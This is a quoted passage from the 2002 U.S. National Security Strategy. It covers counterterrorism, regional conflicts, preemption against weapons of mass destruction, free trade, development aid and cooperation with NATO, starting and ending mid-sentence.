we can encourage change -- as we did in central > and eastern Europe between 1989 and 1991, or in Belgrade in 2000. When > we see democratic processes take hold among our friends in Taiwan or in > the Republic of Korea, and see elected leaders replace generals in Latin > America and Africa, we see examples of how authoritarian systems can > evolve, marrying local history and traditions with the principles we all > cherish. > > Embodying lessons from our past and using the opportunity we have today, > the national security strategy of the United States must start from > these core beliefs and look outward for possibilities to expand liberty. > > Our principles will guide our government's decisions about international > cooperation, the character of our foreign assistance, and the allocation > of resources. They will guide our actions and our words in international > bodies. > > We will: > > * speak out honestly about violations of the nonnegotiable demands of > human dignity using our voice and vote in international institutions to > advance freedom; > > * use our foreign aid to promote freedom and support those who > struggle non-violently for it, ensuring that nations moving toward > democracy are rewarded for the steps they take; > > * make freedom and the development of democratic institutions key > themes in our bilateral relations, seeking solidarity and cooperation > from other democracies while we press governments that deny human rights > to move toward a better future; and > > * take special efforts to promote freedom of religion and conscience > and defend it from encroachment by repressive governments. > > > We will champion the cause of human dignity and oppose those who resist > it. > > III. Strengthen Alliances to Defeat Global Terrorism and Work to Prevent > Attacks Against Us and Our Friends > > > ""Just three days removed from these events, Americans do not yet have > the distance of history. But our responsibility to history is already > clear: to answer these attacks and rid the world of evil. War has been > waged against us by stealth and deceit and murder. This nation is > peaceful, but fierce when stirred to anger. The conflict was begun on > the timing and terms of others. It will end in a way, and at an hour, of > our choosing."" > > > > > > President Bush > Washington, D.C. (The National Cathedral) > September 14, 2001 > > > > The United States of America is fighting a war against terrorists of > global reach. The enemy is not a single political regime or person or > religion or ideology. The enemy is terrorism -- premeditated, > politically motivated violence perpetrated against innocents. > > In many regions, legitimate grievances prevent the emergence of a > lasting peace. Such grievances deserve to be, and must be, addressed > within a political process. But no cause justifies terror. The United > States will make no concessions to terrorist demands and strike no deals > with them. We make no distinction between terrorists and those who > knowingly harbor or provide aid to them. > > The struggle against global terrorism is different from any other war in > our history. It will be fought on many fronts against a particularly > elusive enemy over an extended period of time. Progress will come > through the persistent accumulation of successes -- some seen, some > unseen. > > Today our enemies have seen the results of what civilized nations can, > and will, do against regimes that harbor, support, and use terrorism to > achieve their political goals. Afghanistan has been liberated; coalition > forces continue to hunt down the Taliban and al-Qaida. But it is not > only this battlefield on which we will engage terrorists. Thousands of > trained terrorists remain at large with cells in North America, South > America, Europe, Africa, the Middle East, and across Asia. > > Our priority will be first to disrupt and destroy terrorist > organizations of global reach and attack their leadership; command, > control, and communications; material support; and finances. This will > have a disabling effect upon the terrorists' ability to plan and operate. > > We will continue to encourage our regional partners to take up a > coordinated effort that isolates the terrorists. Once the regional > campaign localizes the threat to a particular state, we will help ensure > the state has the military, law enforcement, political, and financial > tools necessary to finish the task. > > The United States will continue to work with our allies to disrupt the > financing of terrorism. We will identify and block the sources of > funding for terrorism, freeze the assets of terrorists and those who > support them, deny terrorists access to the international financial > system, protect legitimate charities from being abused by terrorists, > and prevent the movement of terrorists' assets through alternative > financial networks. > > However, this campaign need not be sequential to be effective, the > cumulative effect across all regions will help achieve the results we > seek. > > We will disrupt and destroy terrorist organizations by: > > * direct and continuous action using all the elements of national and > international power. Our immediate focus will be those terrorist > organizations of global reach and any terrorist or state sponsor of > terrorism which attempts to gain or use weapons of mass destruction > (WMD) or their precursors; > > * defending the United States, the American people, and our interests > at home and abroad by identifying and destroying the threat before it > reaches our borders. While the United States will constantly strive to > enlist the support of the international community, we will not hesitate > to act alone, if necessary, to exercise our right of self-defense by > acting preemptively against such terrorists, to prevent them from doing > harm against our people and our country; and > > * denying further sponsorship, support, and sanctuary to terrorists > by convincing or compelling states to accept their sovereign > responsibilities. > > > We will also wage a war of ideas to win the battle against international > terrorism. This includes: > > * using the full influence of the United States, and working closely > with allies and friends, to make clear that all acts of terrorism are > illegitimate so that terrorism will be viewed in the same light as > slavery, piracy, or genocide: behavior that no respectable government > can condone or support and all must oppose; > > * supporting moderate and modern government, especially in the Muslim > world, to ensure that the conditions and ideologies that promote > terrorism do not find fertile ground in any nation; > > * diminishing the underlying conditions that spawn terrorism by > enlisting the international community to focus its efforts and resources > on areas most at risk; and > > * using effective public diplomacy to promote the free flow of > information and ideas to kindle the hopes and aspirations of freedom of > those in societies ruled by the sponsors of global terrorism. > > > While we recognize that our best defense is a good offense we are also > strengthening America's homeland security to protect against and deter > attack. > > This Administration has proposed the largest government reorganization > since the Truman Administration created the National Security Council > and the Department of Defense. Centered on a new Department of Homeland > Security and including a new unified military command and a fundamental > reordering of the FBI, our comprehensive plan to secure the homeland > encompasses every level of government and the cooperation of the public > and the private sector. > > This strategy will turn adversity into opportunity. For example, > emergency management systems will be better able to cope not just with > terrorism but with all hazards. Our medical system will be strengthened > to manage not just bioterror, but all infectious diseases and > mass-casualty dangers. Our border controls will not just stop > terrorists, but improve the efficient movement of legitimate traffic. > > While our focus is protecting America, we know that to defeat terrorism > in today's globalized world we need support from our allies and friends. > Wherever possible, the United States will rely on regional organizations > and state powers to meet their obligations to fight terrorism. Where > governments find the fight against terrorism beyond their capacities, we > will match their willpower and their resources with whatever help we and > our allies can provide. > > As we pursue the terrorists in Afghanistan, we will continue to work > with international organizations such as the United Nations, as well as > non-governmental organizations, and other countries to provide the > humanitarian, political, economic, and security assistance necessary to > rebuild Afghanistan so that it will never again abuse its people, > threaten its neighbors, and provide a haven for terrorists > > In the war against global terrorism, we will never forget that we are > ultimately fighting for our democratic values and way of life. Freedom > and fear are at war, and there will be no quick or easy end to this > conflict. In leading the campaign against terrorism, we are forging new, > productive international relationships and redefining existing ones in > ways that meet the challenges of the twenty-first century. > > IV. Work with Others To Defuse Regional Conflicts > > > ""We build a world of justice, or we will live in a world of coercion. > The magnitude of our shared responsibilities makes our disagreements > look so small."" > > > > > > President Bush > Berlin, Germany > May 23, 2002 > > > > Concerned nations must remain actively engaged in critical regional > disputes to avoid explosive escalation and minimize human suffering. In > an increasingly interconnected world, regional crisis can strain our > alliances, rekindle rivalries among the major powers, and create > horrifying affronts to human dignity. When violence erupts and states > falter, the United States will work with friends and partners to > alleviate suffering and restore stability. > > No doctrine can anticipate every circumstance in which U.S. action -- > direct or indirect -- is warranted. We have finite political, economic, > and military resources to meet our global priorities. The United States > will approach each case with these strategic principles in mind: > > * The United States should invest time and resources into building > international relationships and institutions that can help manage local > crises when they emerge. > > * The United States should be realistic about its ability to help > those who are unwilling or unready to help themselves. Where and when > people are ready to do their part, we will be willing to move decisively. > > > Policies in several key regions offer some illustrations of how we will > apply these principles: > > The Israeli-Palestinian conflict is critical because of the toll of > human suffering, because of America's close relationship with the state > of Israel and key Arab states, and because of that region's importance > to other global priorities of the United States. There can be no peace > for either side without freedom for both sides. America stands committed > to an independent and democratic Palestine, living beside Israel in > peace and security. Like all other people, Palestinians deserve a > government that serves their interests, and listens to their voices, and > counts their votes. The United States will continue to encourage all > parties to step up to their responsibilities as we seek a just and > comprehensive settlement to the conflict. > > The United States, the international donor community, and the World Bank > stand ready to work with a reformed Palestinian government on economic > development, increased humanitarian assistance and a program to > establish, finance, and monitor a truly independent judiciary. If > Palestinians embrace democracy, and the rule of law, confront > corruption, and firmly reject terror, they can count on American support > for the creation of a Palestinian state. > > Israel also has a large stake in the success of a democratic Palestine. > Permanent occupation threatens Israel's identity and democracy. So the > United States continues to challenge Israeli leaders to take concrete > steps to support the emergence of a viable, credible Palestinian state. > As there is progress towards security, Israel forces need to withdraw > fully to positions they held prior to September 28, 2000. And consistent > with the recommendations of the Mitchell Committee, Israeli settlement > activity in the occupied territories must stop. As violence subsides, > freedom of movement should be restored, permitting innocent Palestinians > to resume work and normal life. The United States can play a crucial > role but, ultimately, lasting peace can only come when Israelis and > Palestinians resolve the issues and end the conflict between them. > > In South Asia, the United States has also emphasized the need for India > and Pakistan to resolve their disputes. This administration invested > time and resources building strong bilateral relations with India and > Pakistan. These strong relations then gave us leverage to play a > constructive role when tensions in the region became acute. With > Pakistan, our bilateral relations have been bolstered by Pakistan's > choice to join the war against terror and move toward building a more > open and tolerant society. The Administration sees India's potential to > become one of the great democratic powers of the twenty-first century > and has worked hard to transform our relationship accordingly. Our > involvement in this regional dispute, building on earlier investments in > bilateral relations, looks first to concrete steps by India and Pakistan > that can help defuse military confrontation. > > Indonesia took courageous steps to create a working democracy and > respect for the rule of law. By tolerating ethnic minorities, respecting > the rule of law, and accepting open markets, Indonesia may be able to > employ the engine of opportunity that has helped lift some of its > neighbors out of poverty and desperation. It is the initiative by > Indonesia that allows U.S. assistance to make a difference. > > In the Western Hemisphere we have formed flexible coalitions with > countries that share our priorities, particularly Mexico, Brazil, > Canada, Chile, and Colombia. Together we will promote a truly democratic > hemisphere where our integration advances security, prosperity, > opportunity, and hope. We will work with regional institutions, such as > the Summit of the Americas process, the Organization of American States > (OAS), and the Defense Ministerial of the Americas for the benefit of > the entire hemisphere. > > Parts of Latin America confront regional conflict, especially arising > from the violence of drug cartels and their accomplices. This conflict > and unrestrained narcotics trafficking could imperil the health and > security of the United States. Therefore we have developed an active > strategy to help the Andean nations adjust their economies, enforce > their laws, defeat terrorist organizations, and cut off the supply of > drugs, while -- as important -- we work to reduce the demand for drugs > in our own country. > > In Colombia, we recognize the link between terrorist and extremist > groups that challenge the security of the state and drug trafficking > activities that help finance the operations of such groups. We are > working to help Colombia defend its democratic institutions and defeat > illegal armed groups of both the left and right by extending effective > sovereignty over the entire national territory and provide basic > security to the Colombian people. > > In Africa, promise and opportunity sit side by side with disease, war, > and desperate poverty. This threatens both a core value of the United > States -- preserving human dignity -- and our strategic priority -- > combating global terror. American interests and American principles, > therefore, lead in the same direction: we will work with others for an > African continent that lives in liberty, peace, and growing prosperity. > Together with our European allies, we must help strengthen Africa's > fragile states, help build indigenous capability to secure porous > borders, and help build up the law enforcement and intelligence > infrastructure to deny havens for terrorists. > > An ever more lethal environment exists in Africa as local civil wars > spread beyond borders to create regional war zones. Forming coalitions > of the willing and cooperative security arrangements are key to > confronting these emerging transnational threats. > > Africa's great size and diversity requires a security strategy that > focuses bilateral engagement, and builds coalitions of the willing. This > administration will focus on three interlocking strategies for the > region: > > * countries with major impact on their neighborhood such as South > Africa, Nigeria, Kenya, and Ethiopia are anchors for regional engagement > and require focused attention; > > * coordination with European allies and international institutions is > essential for constructive conflict mediation and successful peace > operations; and > > * Africa's capable reforming states and sub-regional organizations > must be strengthened as the primary means to address transnational > threats on a sustained basis. > > > Ultimately the path of political and economic freedom presents the > surest route to progress in sub-Saharan Africa, where most wars are > conflicts over material resources and political access often tragically > waged on the basis of ethnic and religious difference. The transition to > the African Union with its stated commitment to good governance and a > common responsibility for democratic political systems offers > opportunities to strengthen democracy on the continent. > > V. Prevent Our Enemies from Threatening Us, Our Allies, and Our Friends > with Weapons of Mass Destruction > > > ""The gravest danger to freedom lies at the crossroads of radicalism and > technology. When the spread of chemical and biological and nuclear > weapons, along with ballistic missile technology -- when that occurs, > even weak states and small groups could attain a catastrophic power to > strike great nations. Our enemies have declared this very intention, and > have been caught seeking these terrible weapons. They want the > capability to blackmail us, or to harm us, or to harm our friends -- and > we will oppose them with all our power."" > > > > > > President Bush > West Point, New York > June 1, 2002 > > > > The nature of the Cold War threat required the United States -- with our > allies and friends -- to emphasize deterrence of the enemy's use of > force, producing a grim strategy of mutual assured destruction. With the > collapse of the Soviet Union and the end of the Cold War, our security > environment has undergone profound transformation. > > Having moved from confrontation to cooperation as the hallmark of our > relationship with Russia, the dividends are evident: an end to the > balance of terror that divided us; an historic reduction in the nuclear > arsenals on both sides; and cooperation in areas such as > counterterrorism and missile defense that until recently were > inconceivable. > > But new deadly challenges have emerged from rogue states and terrorists. > None of these contemporary threats rival the sheer destructive power > that was arrayed against us by the Soviet Union. However, the nature and > motivations of these new adversaries, their determination to obtain > destructive powers hitherto available only to the world's strongest > states, and the greater likelihood that they will use weapons of mass > destruction against us, make today's security environment more complex > and dangerous. > > In the 1990s we witnessed the emergence of a small number of rogue > states that, while different in important ways, share a number of > attributes. These states: > > * brutalize their own people and squander their national resources > for the personal gain of the rulers; > > * display no regard for international law, threaten their neighbors, > and callously violate international treaties to which they are party; > > * are determined to acquire weapons of mass destruction, along with > other advanced military technology, to be used as threats or offensively > to achieve the aggressive designs of these regimes; > > * sponsor terrorism around the globe; and > > * reject basic human values and hate the United States and everything > for which it stands. > > > At the time of the Gulf War, we acquired irrefutable proof that Iraq's > designs were not limited to the chemical weapons it had used against > Iran and its own people, but also extended to the acquisition of nuclear > weapons and biological agents. In the past decade North Korea has become > the world's principal purveyor of ballistic missiles, and has tested > increasingly capable missiles while developing its own WMD arsenal. > Other rogue regimes seek nuclear, biological, and chemical weapons as > well. These states' pursuit of, and global trade in, such weapons has > become a looming threat to all nations. > > We must be prepared to stop rogue states and their terrorist clients > before they are able to threaten or use weapons of mass destruction > against the United States and our allies and friends. Our response must > take full advantage of strengthened alliances, the establishment of new > partnerships with former adversaries, innovation in the use of military > forces, modern technologies, including the development of an effective > missile defense system, and increased emphasis on intelligence > collection and analysis. > > Our comprehensive strategy to combat WMD includes: > > * Proactive counterproliferation efforts. We must deter and defend > against the threat before it is unleashed. We must ensure that key > capabilities -- detection, active and passive defenses, and counterforce > capabilities -- are integrated into our defense transformation and our > homeland security systems. Counterproliferation must also be integrated > into the doctrine, training, and equipping of our forces and those of > our allies to ensure that we can prevail in any conflict with WMD-armed > adversaries. > > * Strengthened nonproliferation efforts to prevent rogue states and > terrorists from acquiring the materials, technologies and expertise > necessary for weapons of mass destruction. We will enhance diplomacy, > arms control, multilateral export controls, and threat reduction > assistance that impede states and terrorists seeking WMD, and when > necessary, interdict enabling technologies and materials. We will > continue to build coalitions to support these efforts, encouraging their > increased political and financial support for nonproliferation and > threat reduction programs. The recent G-8 agreement to commit up to $20 > billion to a global partnership against proliferation marks a major step > forward. > > * Effective consequence management to respond to the effects of WMD > use, whether by terrorists or hostile states. Minimizing the effects of > WMD use against our people will help deter those who possess such > weapons and dissuade those who seek to acquire them by persuading > enemies that they cannot attain their desired ends. The United States > must also be prepared to respond to the effects of WMD use against our > forces abroad, and to help friends and allies if they are attacked. > > > It has taken almost a decade for us to comprehend the true nature of > this new threat. Given the goals of rogue states and terrorists, the > United States can no longer solely rely on a reactive posture as we have > in the past. The inability to deter a potential attacker, the immediacy > of today's threats, and the magnitude of potential harm that could be > caused by our adversaries' choice of weapons, do not permit that option. > We cannot let our enemies strike first. > > * In the Cold War, especially following the Cuban missile crisis, we > faced a generally status quo, risk-averse adversary. Deterrence was an > effective defense. But deterrence based only upon the threat of > retaliation is far less likely to work against leaders of rogue states > more willing to take risks, gambling with the lives of their people, and > the wealth of their nations. > > * In the Cold War, weapons of mass destruction were considered > weapons of last resort whose use risked the destruction of those who > used them. Today, our enemies see weapons of mass destruction as weapons > of choice. For rogue states these weapons are tools of intimidation and > military aggression against their neighbors. These weapons may also > allow these states to attempt to blackmail the United States and our > allies to prevent us from deterring or repelling the aggressive behavior > of rogue states. Such states also see these weapons as their best means > of overcoming the conventional superiority of the United States. > > * Traditional concepts of deterrence will not work against a > terrorist enemy whose avowed tactics are wanton destruction and the > targeting of innocents; whose so-called soldiers seek martyrdom in death > and whose most potent protection is statelessness. The overlap between > states that sponsor terror and those that pursue WMD compels us to > action. > > > For centuries, international law recognized that nations need not suffer > an attack before they can lawfully take action to defend themselves > against forces that present an imminent danger of attack. Legal scholars > and international jurists often conditioned the legitimacy of preemption > on the existence of an imminent threat -- most often a visible > mobilization of armies, navies, and air forces preparing to attack. > > We must adapt the concept of imminent threat to the capabilities and > objectives of today's adversaries. Rogue states and terrorists do not > seek to attack us using conventional means. They know such attacks would > fail. Instead, they rely on acts of terrorism and, potentially, the use > of weapons of mass destruction -- weapons that can be easily concealed > and delivered covertly and without warning. > > The targets of these attacks are our military forces and our civilian > population, in direct violation of one of the principal norms of the law > of warfare. As was demonstrated by the losses on September 11, 2001, > mass civilian casualties is the specific objective of terrorists and > these losses would be exponentially more severe if terrorists acquired > and used weapons of mass destruction. > > The United States has long maintained the option of preemptive actions > to counter a sufficient threat to our national security. The greater the > threat, the greater is the risk of inaction -- and the more compelling > the case for taking anticipatory action to defend ourselves, even if > uncertainty remains as to the time and place of the enemy's attack. To > forestall or prevent such hostile acts by our adversaries, the United > States will, if necessary, act preemptively. > > The United States will not use force in all cases to preempt emerging > threats, nor should nations use preemption as a pretext for aggression. > Yet in an age where the enemies of civilization openly and actively seek > the world's most destructive technologies, the United States cannot > remain idle while dangers gather. > > We will always proceed deliberately, weighing the consequences of our > actions. To support preemptive options, we will: > > * build better, more integrated intelligence capabilities to provide > timely, accurate information on threats, wherever they may emerge; > > * coordinate closely with allies to form a common assessment of the > most dangerous threats; and > > * continue to transform our military forces to ensure our ability to > conduct rapid and precise operations to achieve decisive results. > > > The purpose of our actions will always be to eliminate a specific threat > to the United States or our allies and friends. The reasons for our > actions will be clear, the force measured, and the cause just. > > VI. Ignite a New Era of Global Economic Growth through Free Markets and > Free Trade. > > > ""When nations close their markets and opportunity is hoarded by a > privileged few, no amount -- no amount -- of development aid is ever > enough. When nations respect their people, open markets, invest in > better health and education, every dollar of aid, every dollar of trade > revenue and domestic capital is used more effectively."" > > > > > > President Bush > Monterrey, Mexico > March 22, 2002 > > > > A strong world economy enhances our national security by advancing > prosperity and freedom in the rest of the world. Economic growth > supported by free trade and free markets creates new jobs and higher > incomes. It allows people to lift their lives out of poverty, spurs > economic and legal reform, and the fight against corruption, and it > reinforces the habits of liberty. > > We will promote economic growth and economic freedom beyond America's > shores. All governments are responsible for creating their own economic > policies and responding to their own economic challenge. We will use our > economic engagement with other countries to underscore the benefits of > policies that generate higher productivity and sustained economic > growth, including: > > * pro-growth legal and regulatory policies to encourage business > investment, innovation, and entrepreneurial activity; > > * tax policies -- particularly lower marginal tax rates -- that > improve incentives for work and investment; > > * rule of law and intolerance of corruption so that people are > confident that they will be able to enjoy the fruits of their economic > endeavors; > > * strong financial systems that allow capital to be put to its most > efficient use; > > * sound fiscal policies to support business activity; > > * investments in health and education that improve the well-being and > skills of the labor force and population as a whole; and > > * free trade that provides new avenues for growth and fosters the > diffusion of technologies and ideas that increase productivity and > opportunity. > > > The lessons of history are clear: market economies, not > command-and-control economies with the heavy hand of government, are the > best way to promote prosperity and reduce poverty. Policies that further > strengthen market incentives and market institutions are relevant for > all economies -- industrialized countries, emerging markets, and the > developing world. > > A return to strong economic growth in Europe and Japan is vital to U.S. > national security interests. We want our allies to have strong economies > for their own sake, for the sake of the global economy, and for the sake > of global security. European efforts to remove structural barriers in > their economies are particularly important in this regard, as are > Japan's efforts to end deflation and address the problems of > non-performing loans in the Japanese banking system. We will continue to > use our regular consultations with Japan and our European partners -- > including through the Group of Seven (G-7) -- to discuss policies they > are adopting to promote growth in their economies and support higher > global economic growth. > > Improving stability in emerging markets is also key to global economic > growth. International flows of investment capital are needed to expand > the productive potential of these economies. These flows allow emerging > markets and developing countries to make the investments that raise > living standards and reduce poverty. Our long-term objective should be a > world in which all countries have investment-grade credit ratings that > allow them access to international capital markets and to invest in > their future. > > We are committed to policies that will help emerging markets achieve > access to larger capital flows at lower cost. To this end, we will > continue to pursue reforms aimed at reducing uncertainty in financial > markets. We will work actively with other countries, the International > Monetary Fund (IMF), and the private sector to implement the G-7 Action > Plan negotiated earlier this year for preventing financial crises and > more effectively resolving them when they occur. > > The best way to deal with financial crises is to prevent them from > occurring, and we have encouraged the IMF to improve its efforts doing > so. We will continue to work with the IMF to streamline the policy > conditions for its lending and to focus its lending strategy on > achieving economic growth through sound fiscal and monetary policy, > exchange rate policy, and financial sector policy. > > The concept of ""free trade"" arose as a moral principle even before it > became a pillar of economics. If you can make something that others > value, you should be able to sell it to them. If others make something > that you value, you should be able to buy it. This is real freedom, the > freedom for a person -- or a nation -- to make a living. To promote free > trade, the Unites States has developed a comprehensive strategy: > > * Seize the global initiative. The new global trade negotiations we > helped launch at Doha in November 2001 will have an ambitious agenda, > especially in agriculture, manufacturing, and services, targeted for > completion in 2005. The United States has led the way in completing the > accession of China and a democratic Taiwan to the World Trade > Organization. We will assist Russia's preparations to join the WTO. > > * Press regional initiatives. The United States and other democracies > in the Western Hemisphere have agreed to create the Free Trade Area of > the Americas, targeted for completion in 2005. This year the United > States will advocate market-access negotiations with its partners, > targeted on agriculture, industrial goods, services, investment, and > government procurement. We will also offer more opportunity to the > poorest continent, Africa, starting with full use of the preferences > allowed in the African Growth and Opportunity Act, and leading to free > trade. > > * Move ahead with bilateral free trade agreements. Building on the > free trade agreement with Jordan enacted in 2001, the Administration > will work this year to complete free trade agreements with Chile and > Singapore. Our aim is to achieve free trade agreements with a mix of > developed and developing countries in all regions of the world. > Initially, Central America, Southern Africa, Morocco, and Australia will > be our principal focal points. > > * Renew the executive-congressional partnership. Every > administration's trade strategy depends on a productive partnership with > Congress. After a gap of 8 years, the Administration reestablished > majority support in the Congress for trade liberalization by passing > Trade Promotion Authority and the other market opening measures for > developing countries in the Trade Act of 2002. This Administration will > work with Congress to enact new bilateral, regional, and global trade > agreements that will be concluded under the recently passed Trade > Promotion Authority. > > * Promote the connection between trade and development. Trade > policies can help developing countries strengthen property rights, > competition, the rule of law, investment, the spread of knowledge, open > societies, the efficient allocation of resources, and regional > integration -- all leading to growth, opportunity, and confidence in > developing countries. The United States is implementing The Africa > Growth and Opportunity Act to provide market-access for nearly all goods > produced in the 35 countries of sub-Saharan Africa. We will make more > use of this act and its equivalent for the Caribbean Basin and continue > to work with multilateral and regional institutions to help poorer > countries take advantage of these opportunities. Beyond market access, > the most important area where trade intersects with poverty is in public > health. We will ensure that the WTO intellectual property rules are > flexible enough to allow developing nations to gain access to critical > medicines for extraordinary dangers like HIV/AIDS, tuberculosis, and > malaria. > > * Enforce trade agreements and laws against unfair practices. > Commerce depends on the rule of law; international trade depends on > enforceable agreements. Our top priorities are to resolve ongoing > disputes with the European Union, Canada, and Mexico and to make a > global effort to address new technology, science, and health regulations > that needlessly impede farm exports and improved agriculture. Laws > against unfair trade practices are often abused, but the international > community must be able to address genuine concerns about government > subsidies and dumping. International industrial espionage which > undermines fair competition must be detected and deterred. > > * Help domestic industries and workers adjust. There is a sound > statutory framework for these transitional safeguards which we have used > in the agricultural sector and which we are using this year to help the > American steel industry. The benefits of free trade depend upon the > enforcement of fair trading practices. These safeguards help ensure that > the benefits of free trade do not come at the expense of American > workers. Trade adjustment assistance will help workers adapt to the > change and dynamism of open markets. > > * Protect the environment and workers. The United States must foster > economic growth in ways that will provide a better life along with > widening prosperity. We will incorporate labor and environmental > concerns into U.S. trade negotiations, creating a healthy ""network"" > between multilateral environmental agreements with the WTO, and use the > International Labor Organization, trade preference programs, and trade > talks to improve working conditions in conjunction with freer trade. > > * Enhance energy security. We will strengthen our own energy security > and the shared prosperity of the global economy by working with our > allies, trading partners, and energy producers to expand the sources and > types of global energy supplied, especially in the Western Hemisphere, > Africa, Central Asia, and the Caspian region. We will also continue to > work with our partners to develop cleaner and more energy efficient > technologies. > > > Economic growth should be accompanied by global efforts to stabilize > greenhouse gas concentrations associated with this growth, containing > them at a level that prevents dangerous human interference with the > global climate. Our overall objective is to reduce America's greenhouse > gas emissions relative to the size of our economy, cutting such > emissions per unit of economic activity by 18 percent over the next 10 > years, by the year 2012. Our strategies for attaining this goal will be > to: > > * remain committed to the basic U.N. Framework Convention for > international cooperation; > > * obtain agreements with key industries to cut emissions of some of > the most potent greenhouse gases and give transferable credits to > companies that can show real cuts; > > * develop improved standards for measuring and registering emission > reductions; > > * promote renewable energy production and clean coal technology, as > well as nuclear power -- which produces no greenhouse gas emissions, > while also improving fuel economy for U.S. cars and trucks; > > * increase spending on research and new conservation technologies, to > a total of $4.5 billion -- the largest sum being spent on climate change > by any country in the world and a $700 million increase over last year's > budget; and > > * assist developing countries, especially the major greenhouse gas > emitters such as China and India, so that they will have the tools and > resources to join this effort and be able to grow along a cleaner and > better path. > > > VII. Expand the Circle of Development by Opening Societies and Building > the Infrastructure of Democracy > > > ""In World War II we fought to make the world safer, then worked to > rebuild it. As we wage war today to keep the world safe from terror, we > must also work to make the world a better place for all its citizens."" > > > > > > President Bush > Washington, D.C. (Inter-American > Development Bank) > March 14, 2002 > > > > A world where some live in comfort and plenty, while half of the human > race lives on less than $2 a day, is neither just nor stable. Including > all of the world's poor in an expanding circle of development -- and > opportunity -- is a moral imperative and one of the top priorities of > U.S. international policy. > > Decades of massive development assistance have failed to spur economic > growth in the poorest countries. Worse, development aid has often served > to prop up failed policies, relieving the pressure for reform and > perpetuating misery. Results of aid are typically measured in dollars > spent by donors, not in the rates of growth and poverty reduction > achieved by recipients. These are the indicators of a failed strategy. > > Working with other nations, the United States is confronting this > failure. We forged a new consensus at the U.N. Conference on Financing > for Development in Monterrey that the objectives of assistance -- and > the strategies to achieve those objectives -- must change. > > This Administration's goal is to help unleash the productive potential > of individuals in all nations. Sustained growth and poverty reduction is > impossible without the right national policies. Where governments have > implemented real policy changes we will provide significant new levels > of assistance. The United States and other developed countries should > set an ambitious and specific target: to double the size of the world's > poorest economies within a decade. > > The United States Government will pursue these major strategies to > achieve this goal: > > * Provide resources to aid countries that have met the challenge of > national reform. We propose a 50 percent increase in the core > development assistance given by the United States. While continuing our > present programs, including humanitarian assistance based on need alone, > these billions of new dollars will form a new Millennium Challenge > Account for projects in countries whose governments rule justly, invest > in their people, and encourage economic freedom. Governments must fight > corruption, respect basic human rights, embrace the rule of law, invest > in health care and education, follow responsible economic policies, and > enable entrepreneurship. The Millennium Challenge Account will reward > countries that have demonstrated real policy change and challenge those > that have not to implement reforms. > > * Improve the effectiveness of the World Bank and other development > banks in raising living standards. The United States is committed to a > comprehensive reform agenda for making the World Bank and the other > multilateral development banks more effective in improving the lives of > the world's poor. We have reversed the downward trend in U.S. > contributions and proposed an 18 percent increase in the U.S. > contributions to the International Development Association (IDA) -- the > World Bank's fund for the poorest countries -- and the African > Development Fund. The key to raising living standards and reducing > poverty around the world is increasing productivity growth, especially > in the poorest countries. We will continue to press the multilateral > development banks to focus on activities that increase economic > productivity, such as improvements in education, health, rule of law, > and private sector development. Every project, every loan, every grant > must be judged by how much it will increase productivity growth in > developing countries. > > * Insist upon measurable results to ensure that development > assistance is actually making a difference in the lives of the world's > poor. When it comes to economic development, what really matters is that > more children are getting a better education, more people have access to > health care and clean water, or more workers can find jobs to make a > better future for their families. We have a moral obligation to measure > the success of our development assistance by whether it is delivering > results. For this reason, we will continue to demand that our own > development assistance as well as assistance from the multilateral > development banks has measurable goals and concrete benchmarks for > achieving those goals. Thanks to U.S. leadership, the recent IDA > replenishment agreement will establish a monitoring and evaluation > system that measures recipient countries' progress. For the first time, > donors can link a portion of their contributions to IDA to the > achievement of actual development results, and part of the U.S. > contribution is linked in this way. We will strive to make sure that the > World Bank and other multilateral development banks build on this > progress so that a focus on results is an integral part of everything > that these institutions do. > > * Increase the amount of development assistance that is provided in > the form of grants instead of loans. Greater use of results-based grants > is the best way to help poor countries make productive investments, > particularly in the social sectors, without saddling them with > ever-larger debt burdens. As a result of U.S. leadership, the recent IDA > agreement provided for significant increases in grant funding for the > poorest countries for education, HIV/AIDS, health, nutrition, water, > sanitation, and other human needs. Our goal is to build on that progress > by increasing the use of grants at the other multilateral development > banks. We will also challenge universities, nonprofits, and the private > sector to match government efforts by using grants to support > development projects that show results. > > * Open societies to commerce and investment. Trade and investment are > the real engines of economic growth. Even if government aid increases, > most money for development must come from trade, domestic capital, and > foreign investment. An effective strategy must try to expand these flows > as well. Free markets and free trade are key priorities of our national > security strategy. > > * Secure public health. The scale of the public health crisis in poor > countries is enormous. In countries afflicted by epidemics and pandemics > like HIV/AIDS, malaria, and tuberculosis, growth and development will be > threatened until these scourges can be contained. Resources from the > developed world are necessary but will be effective only with honest > governance, which supports prevention programs and provides effective > local infrastructure. The United States has strongly backed the new > global fund for HIV/AIDS organized by U.N. Secretary General Kofi Annan > and its focus on combining prevention with a broad strategy for > treatment and care. The United States already contributes more than > twice as much money to such efforts as the next largest donor. If the > global fund demonstrates its promise, we will be ready to give even more. > > * Emphasize education. Literacy and learning are the foundation of > democracy and development. Only about 7 percent of World Bank resources > are devoted to education. This proportion should grow. The United States > will increase its own funding for education assistance by at least 20 > percent with an emphasis on improving basic education and teacher > training in Africa. The United States can also bring information > technology to these societies, many of whose education systems have been > devastated by AIDS. > > * Continue to aid agricultural development. New technologies, > including biotechnology, have enormous potential to improve crop yields > in developing countries while using fewer pesticides and less water. > Using sound science, the United States should help bring these benefits > to the 800 million people, including 300 million children, who still > suffer from hunger and malnutrition. > > > VIII. Develop Agendas for Cooperative Action with the Other Main Centers > of Global Power > > > ""We have our best chance since the rise of the nation-state in the 17th > century to build a world where the great powers compete in peace instead > of prepare for war."" > > > > > > President Bush > West Point, New York > June 1, 2002 > > > > America will implement its strategies by organizing coalitions -- as > broad as practicable -- of states able and willing to promote a balance > of power that favors freedom. Effective coalition leadership requires > clear priorities, an appreciation of others' interests, and consistent > consultations among partners with a spirit of humility. > > There is little of lasting consequence that the United States can > accomplish in the world without the sustained cooperation of its allies > and friends in Canada and Europe. Europe is also the seat of two of the > strongest and most able international institutions in the world: the > North Atlantic Treaty Organization (NATO), which has, since its > inception, been the fulcrum of transatlantic and inter-European > security, and the European Union (EU), our partner in opening world > trade. > > The attacks of September 11 were also an attack on NATO, as NATO itself > recognized when it invoked its Article V self-defense clause for the > first time. NATO's core mission -- collective defense of the > transatlantic alliance of democracies -- remains, but NATO must develop > new structures and capabilities to carry out that mission under new > circumstances. NATO must build a capability to field, at short notice, > highly mobile, specially trained forces whenever they are needed to > respond to a threat against any member of the alliance. > > The alliance must be able to act wherever our interests are threatened, > creating coalitions under NATO's own mandate, as well as contributing to > mission-based coalitions. To achieve this, we must: > > * expand NATO's membership to those democratic nations willing and > able to share the burden of defending and advancing our common interests; > > * ensure that the military forces of NATO 